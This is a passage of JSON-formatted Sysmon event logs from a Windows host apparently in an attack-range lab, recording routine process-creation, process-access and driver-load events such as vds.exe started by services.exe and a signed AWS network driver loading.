AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.480\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nProcessId: 3380\r\nImage: C:\\Windows\\System32\\vds.exe\r\nFileVersion: 10.0.14393.2608 (rs1_release.181024-1742)\r\nDescription: Virtual Disk Service\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: vds.exe\r\nCommandLine: C:\\Windows\\System32\\vds.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=EC0D95737DE497BA0AD2223322B21280,SHA256=DE976B547872B0919E16D5A97902B95893AD5B76DE6A11BE5F874EADBCA49F93,IMPHASH=3F541E0A1D775ACA4A7D5FBDFF8433C5\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.480","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010A9520200}","Image":"C:\\Windows\\System32\\vds.exe","FileVersion":"10.0.14393.2608 (rs1_release.181024-1742)","Description":"Virtual Disk Service","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"vds.exe","CommandLine":"C:\\Windows\\System32\\vds.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=EC0D95737DE497BA0AD2223322B21280,SHA256=DE976B547872B0919E16D5A97902B95893AD5B76DE6A11BE5F874EADBCA49F93,IMPHASH=3F541E0A1D775ACA4A7D5FBDFF8433C5","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.500\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.500","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":6,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":6,"OpcodeValue":0,"RecordNumber":1189,"ProcessID":2736,"ThreadID":3284,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Driver loaded:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:37.313\r\nImageLoaded: C:\\Windows\\System32\\drivers\\xenvif.sys\r\nHashes: MD5=159E9512AA64057D43A1BEDF4D3122E0,SHA256=1932630E63EBE989E884C4EE8FA6C0A9FC1C1638397D721995C23EF292BB5B23,IMPHASH=C119D28B8420C26CE25D996F6D25FD88\r\nSigned: true\r\nSignature: Amazon Web Services, Inc.\r\nSignatureStatus: Valid","Category":"Driver loaded (rule: DriverLoad)","Opcode":"Info","UtcTime":"2020-08-07 11:49:37.313","ImageLoaded":"C:\\Windows\\System32\\drivers\\xenvif.sys","Hashes":"MD5=159E9512AA64057D43A1BEDF4D3122E0,SHA256=1932630E63EBE989E884C4EE8FA6C0A9FC1C1638397D721995C23EF292BB5B23,IMPHASH=C119D28B8420C26CE25D996F6D25FD88","Signed":"true","Signature":"Amazon Web Services, Inc.","SignatureStatus":"Valid","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 